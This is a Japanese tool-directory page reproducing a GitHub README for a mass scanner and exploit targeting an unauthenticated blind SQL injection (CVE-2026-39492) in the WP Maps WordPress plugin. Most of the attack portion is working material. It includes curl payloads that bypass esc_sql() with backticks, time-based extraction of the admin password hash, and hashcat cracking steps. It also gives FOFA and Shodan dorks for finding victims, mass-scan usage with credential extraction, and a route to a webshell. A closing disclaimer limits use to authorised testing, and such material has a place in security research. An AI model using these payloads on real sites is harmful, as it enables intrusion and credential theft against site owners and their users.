Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/shinthink/cve-2026-39492
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubshinthink/cve-2026-39492

CVE-2026-39492

CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 認証不要のブラインドSQLインジェクション一括スキャナー | sqlmapスタイルの検出 | バックティックによるesc_sql()回避 | 10万以上のインストール

リポジトリを見る
112ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39492 — WP Maps ブラインドSQLインジェクションスキャナ

バックティックバイパスによる事前認証時間ベースブラインドSQLi → DB抽出


概要

CVE-2026-39492 は、WP Maps プラグイン(wp-google-map-plugin)バージョン 4.9.1以下 における、CVSS 9.3の重大な未認証ブラインドSQLインジェクション脆弱性です。

wpgmp_ajax_call AJAXハンドラは、未認証アクセス用に wp_ajax_nopriv_ 経由で登録されています。location_id パラメータは を通過します。この関数はを信頼できるSQLカラム識別子として誤って扱い、WordPressの サニタイズを完全にバイパスします。

FlipperCode_Model_Base::is_column()
バックティックでラップされた入力
esc_sql()

影響を受けるバージョン

WP Maps バージョンステータス
≤ 4.9.1脆弱
≥ 4.9.2修正済み

アクティブインストール数: 100,000+


脆弱性のメカニズム

根本原因

プラグインのデータベース抽象化レイヤーで、is_column() はユーザー入力がバックティックでラップされているか確認します:

root@kitploit:~
// 脆弱: バックティックでラップされた入力が信頼できるカラム識別子として扱われる
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // esc_sql() を完全にバイパス!
    }
    return false;
}

is_column() が true を返すと、入力は esc_sql() エスケープなしでSQLクエリに直接渡されます。これにより、次のような入力が可能になります:

root@kitploit:~
location_id=`1` AND SLEEP(5) AND `1`=`1

攻撃の流れ

root@kitploit:~
1. readme.txt経由でWP Mapsを検出 → バージョンを抽出
2. POST /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. location_idパラメータにバックティックでラップしたペイロードを挿入
4. 応答時間を測定 — SLEEP(N)でSQLインジェクションを確認
5. ブール/時間ベースブラインド手法でデータを抽出

CVSS 9.3 の理由

メトリクス値
攻撃ベクトルネットワーク
攻撃複雑性低
必要な権限なし
ユーザー操作なし
スコープ変更あり(データベース全体に影響)
機密性高
完全性なし
可用性低

インストール

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

使い方

root@kitploit:~
# 単一ターゲットの検出
python cve_2026_39492.py -t target.com

# 大量スキャン
python cve_2026_39492.py -f targets.txt

# 大量スキャン + 結果を保存
python cve_2026_39492.py -f targets.txt -o sqli.txt

# 単一ターゲット + 認証情報抽出
python cve_2026_39492.py -t target.com --extract -v

# 詳細出力
python cve_2026_39492.py -t target.com -v

引数

root@kitploit:~
  -t, --target      単一のターゲット(ドメインまたはIP)
  -f, --file        ターゲットリスト(1行に1つ)
  -o, --output      脆弱なターゲットをファイルに保存
  --threads         同時ワーカー数(デフォルト: 20)
  --extract         確認済みターゲットから管理者認証情報を抽出
  -v, --verbose     詳細な出力を表示

概念実証

単一ターゲット

root@kitploit:~
$ python cve_2026_39492.py -t target.com -v
root@kitploit:~
  CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
  CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass

  Target: WP Maps (wp-google-map-plugin) <= 4.9.1
  Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
  Bypass: backtick-wrapped input bypasses esc_sql()

    [+] WP Maps detected: v4.9.0
    [*] SQLi test: 6.2s (threshold: 5s)
    [+] Blind SQLi CONFIRMED (response: 6.2s)

  Host        : target.com
  WP Maps     : YES v4.9.0
  SQLi        : YES
  Resp time   : 6.2s
  Time        : 7.1s

認証情報抽出あり

root@kitploit:~
$ python cve_2026_39492.py -t target.com --extract -v
root@kitploit:~
    [+] Blind SQLi CONFIRMED (response: 5.8s)
    [*] Extracting admin credentials via blind SQLi...
    [*] Extracting: admin_user
    [*] Extracting: $P$BqVg...

  Admin User  : admin_user
  Admin Hash  : $P$BqVg7xX...

大量スキャン

root@kitploit:~
  CVE-2026-39492  WP Maps Blind SQLi Scanner
  Targets: 2500 | Threads: 20
  Vector: wpgmp_ajax_call → location_id backtick bypass
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2s  v4.9.0       resp:6.2s
  [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       resp:5.8s
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 320s
  ───────────────────────────────────────────────────────
  Targets        : 2500
  WP Maps found  : 47
  SQLi confirmed : 12

手動による悪用

ステップ1 — プラグインを検出

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

ステップ2 — SLEEPでSQLiをテスト

root@kitploit:~
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# Response > 5 seconds → VULNERABLE

ステップ3 — ブラインドSQLiで管理者ハッシュを抽出

root@kitploit:~
# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# Response > 3 seconds → first char is ASCII 36 = '$'

ステップ4 — ハッシュをクラックしてログイン → 完全なRCE

root@kitploit:~
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

FOFA Dork

root@kitploit:~
body="wp-google-map-plugin"

Shodan

root@kitploit:~
http.html:"wp-google-map-plugin"

影響

攻撃が成功すると、WordPressデータベース全体が抽出される可能性があります:

  • 管理者パスワードハッシュ → クラック → 管理者ログイン → プラグインアップロード → RCE
  • ユーザーPII、メール、セッショントークン
  • wp_optionsに保存されたAPIキー
  • MySQLのFILE権限が存在する場合: SELECT ... INTO OUTFILE → ウェブシェル → 直接RCE

免責事項

教育目的および許可されたテスト目的のみに使用してください。

このソフトウェアは、許可された侵入テストを実施するセキュリティ専門家、自社インフラを監査する組織、および脆弱性悪用を研究する研究者を対象としています。

許可なくコンピュータシステムにアクセスすることは違法であり、以下の法律に違反する可能性があります:

  • 米国: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • インドネシア: UU ITE 第30条および第46条
  • 欧州連合: 指令 2013/40/EU
  • 英国: Computer Misuse Act 1990

著者は誤用に対する一切の責任を負いません。


参考情報

リソースリンク
IONIXアドバイザリionix.io/threat-center/cve-2026-39492
WPScanアドバイザリwpscan.com/vulnerability/c1f19d2e
Wordfenceアドバイザリwordfence.com
NVDエントリCVE-2026-39492
プラグインTracwp-google-map-plugin

このプロジェクトはFlipper CodeやWP Mapsとは提携していません。

ツールをダウンロード